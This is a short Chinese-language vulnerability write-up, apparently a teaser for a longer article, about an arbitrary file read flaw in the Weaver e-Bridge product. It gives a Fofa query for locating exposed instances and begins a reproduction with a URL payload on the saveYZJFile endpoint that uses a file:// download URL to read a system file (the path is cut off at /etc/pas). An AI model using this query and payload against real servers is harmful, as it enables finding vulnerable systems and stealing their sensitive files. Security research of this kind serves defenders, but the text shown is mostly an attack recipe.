泛微雲橋e-Bridge-任意文件讀取漏洞

1.資產查找 Fofa: title="泛微雲橋 e-Bridge" 2.漏洞描述 泛微雲橋e-Bridge存在任意文件讀取漏洞，攻擊者成功利用該漏洞，可實現任意文件讀取，獲取敏感信息。 3.漏洞復現 1）Linux服務器 （1）在URL後添加payload payload：/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/pas

>>阅读原文<<